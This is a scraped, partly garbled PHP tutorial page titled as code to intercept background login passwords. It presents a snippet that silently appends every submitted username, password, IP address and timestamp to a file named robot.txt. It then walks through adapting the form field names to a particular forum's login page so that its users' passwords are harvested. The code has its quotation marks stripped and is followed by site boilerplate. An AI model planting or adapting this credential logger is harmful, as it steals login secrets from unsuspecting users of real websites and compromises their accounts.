PHP code to intercept background login password_PHP tutorial

if($_POST[loginsubmit]!=){ //Determine whether the login button is clicked
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:. $HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // Concatenate the values ​​received by POST and assign them to variables $sb
fwrite(fopen(robot.txt,ab), $sb);} //The result is written into a file


The following is a brief analysis, taking Huaxia’s login page as an example. Open bbs.xxx.com/login.php, right-click to view the source code, CTRL+F search action to find the login form.

I only copied the key code.

//The value after action is the address for form submission, which will handle login. For example, the method to determine whether the password is correct is POST, so use $_POST to receive it.

. . . . Powerful ellipsis. . . . . .


Account(U):

class=input id =pwuser accessKey=u size=16
name=pwuser> //Input box for user name, pay attention to the value of name, which must be the same as $_POST[username] Corresponding, so to intercept Huaxia’s password, you need to change it to $_POST[pwuser]


Password (P):
class=input id=pwpwd accessKey=p
type=password size=16 name=pwpwd> //Input box for user name , pay attention to the value of its name, which must correspond to $_POST[username], so to intercept Huaxia’s password, you need to change it to $_POST[pwpwd]

http://www.bkjia.com/PHPjc/325278.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/325278.htmlTechArticleif($_POST[loginsubmit]!=){ //Determine whether the login button is clicked $sb=user: .$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // Put...